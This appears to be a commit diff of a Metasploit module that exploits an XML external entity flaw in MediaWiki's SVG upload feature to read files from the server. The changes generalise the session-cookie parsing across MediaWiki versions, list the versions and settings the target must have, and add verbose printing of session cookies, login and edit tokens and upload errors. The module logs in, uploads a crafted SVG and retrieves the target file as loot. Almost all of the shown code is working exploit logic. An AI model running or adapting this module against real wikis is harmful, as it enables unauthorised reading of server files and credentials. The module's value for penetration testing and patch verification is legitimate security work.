@@ -22,7 +22,11 @@ def initialize
22
22
expand external entities with the SYSTEM identifier. In order to work MediaWiki must
23
23
be configured to accept upload of SVG files. If anonymous uploads are allowed the
24
24
username and password aren't required, otherwise they are. This module has been
25
- tested successfully on MediaWiki 1.19.4 and Ubuntu 10.04.
25
+ tested successfully on MediaWiki 1.19.4, 1.20.3 on Ubuntu 10.04 and Ubuntu 12.10.
26
+ Older versions were also tested but do not seem to be vulnerable to this vulnerability.
27
+ The following MediaWiki requirements must be met: File upload must be enabled,
28
+ $wgFileExtensions[] must include 'svg', $wgSVGConverter must be set to something
29
+ other than 'false'.
26
30
} ,
27
31
'References' =>
28
32
[
@@ -32,8 +36,9 @@ def initialize
32
36
] ,
33
37
'Author' =>
34
38
[
35
- 'Daniel Franke' , # Vulnerability discovery and PoC
36
- 'juan vazquez' # Metasploit module
39
+ 'Daniel Franke' , # Vulnerability discovery and PoC
40
+ 'juan vazquez' , # Metasploit module
41
+ 'Christian Mehlmauer' # Metasploit module
37
42
] ,
38
43
'License' => MSF_LICENSE
39
44
)
@@ -69,8 +74,8 @@ def get_first_session
69
74
}
70
75
} )
71
76
72
- if res and res . code == 200 and res . headers [ 'Set-Cookie' ] and res . headers [ 'Set-Cookie' ] =~ /my_wiki_session =([a-f0 -9]* )/
73
- return $1
77
+ if res and res . code == 200 and res . headers [ 'Set-Cookie' ] and res . headers [ 'Set-Cookie' ] =~ /([^ \s ]*session) =([a-z0 -9]+ )/
78
+ return $1, $2
74
79
else
75
80
return nil
76
81
end
@@ -84,7 +89,7 @@ def get_login_token
84
89
"title" => "Special:UserLogin" ,
85
90
"returnto" => "Main+Page"
86
91
} ,
87
- 'cookie' => "my_wiki_session= #{ @first_session } "
92
+ 'cookie' => session_cookie
88
93
} )
89
94
90
95
if res and res . code == 200 and res . body =~ /name="wpLoginToken" value="([a-f0-9]*)"/
@@ -98,12 +103,14 @@ def get_login_token
98
103
def parse_auth_cookie ( cookies )
99
104
cookies . split ( ";" ) . each do |part |
100
105
case part
101
- when /my_wikiUserID=(.*)/
102
- @wiki_user_id = $1
103
- when /my_wikiUserName=(.*)/
104
- @my_wiki_user_name = $1
105
- when /my_wiki_session=(.*)/
106
- @my_wiki_session = $1
106
+ when /([^\s ]*UserID)=(.*)/
107
+ @wiki_user_id_name = $1
108
+ @wiki_user_id = $2
109
+ when /([^\s ]*UserName)=(.*)/
110
+ @wiki_user_name_name = $1
111
+ @wiki_user_name = $2
112
+ when /session=(.*)/
113
+ @wiki_session = $1
107
114
else
108
115
next
109
116
end
@@ -112,9 +119,9 @@ def parse_auth_cookie(cookies)
112
119
113
120
def session_cookie
114
121
if @user and @password
115
- return "my_wiki_session =#{ @my_wiki_session } ; my_wikiUserID =#{ @wiki_user_id } ; my_wikiUserName =#{ @my_wiki_user_name } "
122
+ return "#{ @wiki_session_name } =#{ @wiki_session } ; #{ @wiki_user_id_name } =#{ @wiki_user_id } ; #{ @wiki_user_name_name } =#{ @wiki_user_name } "
116
123
else
117
- return "my_wiki_session =#{ @first_session } "
124
+ return "#{ @wiki_session_name } =#{ @wiki_session } "
118
125
end
119
126
end
120
127
@@ -134,10 +141,10 @@ def authenticate
134
141
"wpLoginToken" => @login_token ,
135
142
"returnto" => "Main+Page"
136
143
} ,
137
- 'cookie' => "my_wiki_session= #{ @first_session } "
144
+ 'cookie' => session_cookie
138
145
} )
139
146
140
- if res and res . code == 302 and res . headers [ 'Set-Cookie' ] =~ /my_wikiUserID /
147
+ if res and res . code == 302 and res . headers [ 'Set-Cookie' ] =~ /UserID= /
141
148
parse_auth_cookie ( res . headers [ 'Set-Cookie' ] )
142
149
return true
143
150
else
@@ -152,7 +159,7 @@ def get_edit_token
152
159
'cookie' => session_cookie
153
160
} )
154
161
155
- if res and res . code == 200 and res . body =~/<title>Upload file/ and res . body =~ /"editToken":" ([0-9a-f]*)\+ \\ \\ /
162
+ if res and res . code == 200 and res . body =~/<title>Upload file/ and res . body =~ /<input id="wpEditToken" type="hidden" value=" ([0-9a-f]*)\+ \\ " name="wpEditToken" \/ > /
156
163
return $1
157
164
else
158
165
return nil
@@ -161,7 +168,6 @@ def get_edit_token
161
168
end
162
169
163
170
def upload_file
164
-
165
171
entity = Rex ::Text . rand_text_alpha_lower ( 3 )
166
172
@file_name = Rex ::Text . rand_text_alpha_lower ( 4 )
167
173
svg_file = %Q|
@@ -198,6 +204,13 @@ def upload_file
198
204
if res and res . code == 302 and res . headers [ 'Location' ]
199
205
return res . headers [ 'Location' ]
200
206
else
207
+ # try to output the errormessage
208
+ if res and res . body
209
+ error = res . body . scan ( /<div class="error">(.*?)<\/ div>/m ) [ 0 ]
210
+ if error and error . size == 1
211
+ print_error ( error [ 0 ] )
212
+ end
213
+ end
201
214
return nil
202
215
end
203
216
end
@@ -217,13 +230,13 @@ def read_data
217
230
end
218
231
219
232
def accessfile ( rhost )
220
-
221
233
vprint_status ( "#{ peer ( rhost ) } MediaWiki - Getting unauthenticated session..." )
222
- @first_session = get_first_session
223
- if @first_session . nil?
234
+ @wiki_session_name , @wiki_session = get_first_session
235
+ if @wiki_session . nil?
224
236
print_error ( "#{ peer ( rhost ) } MediaWiki - Failed to get unauthenticated session..." )
225
237
return
226
238
end
239
+ vprint_status ( "#{ peer ( rhost ) } Sessioncookie: #{ @wiki_session_name } =#{ @wiki_session } " )
227
240
228
241
if @user and not @user . empty? and @password and not @password . empty?
229
242
vprint_status ( "#{ peer ( rhost ) } MediaWiki - Getting login token..." )
@@ -232,11 +245,15 @@ def accessfile(rhost)
232
245
print_error ( "#{ peer ( rhost ) } MediaWiki - Failed to get login token" )
233
246
return
234
247
end
248
+ vprint_status ( "#{ peer ( rhost ) } Logintoken: #{ @login_token } " )
235
249
236
250
if not authenticate
237
251
print_error ( "#{ peer ( rhost ) } MediaWiki - Failed to authenticate" )
238
252
return
239
253
end
254
+ vprint_status ( "#{ peer ( rhost ) } Userid cookie: #{ @wiki_user_id_name } =#{ @wiki_user_id } " )
255
+ vprint_status ( "#{ peer ( rhost ) } Username cookie: #{ @wiki_user_name_name } =#{ @wiki_user_name } " )
256
+ vprint_status ( "#{ peer ( rhost ) } Session cookie: #{ @wiki_session_name } =#{ @wiki_session } " )
240
257
end
241
258
242
259
vprint_status ( "#{ peer ( rhost ) } MediaWiki - Getting edit token..." )
@@ -245,13 +262,15 @@ def accessfile(rhost)
245
262
print_error ( "#{ peer ( rhost ) } MediaWiki - Failed to get edit token" )
246
263
return
247
264
end
265
+ vprint_status ( "#{ peer ( rhost ) } Edittoken: #{ @edit_token } " )
248
266
249
267
vprint_status ( "#{ peer ( rhost ) } MediaWiki - Uploading SVG file..." )
250
268
@svg_uri = upload_file
251
269
if @svg_uri . nil?
252
270
print_error ( "#{ peer ( rhost ) } MediaWiki - Failed to upload SVG file" )
253
271
return
254
272
end
273
+ vprint_status ( "#{ peer ( rhost ) } SVG URI: #{ @svg_uri } " )
255
274
256
275
vprint_status ( "#{ peer ( rhost ) } MediaWiki - Retrieving remote file..." )
257
276
loot = read_data
@@ -276,4 +295,3 @@ def run_host(ip)
276
295
end
277
296
278
297
end
279
-
0 commit comments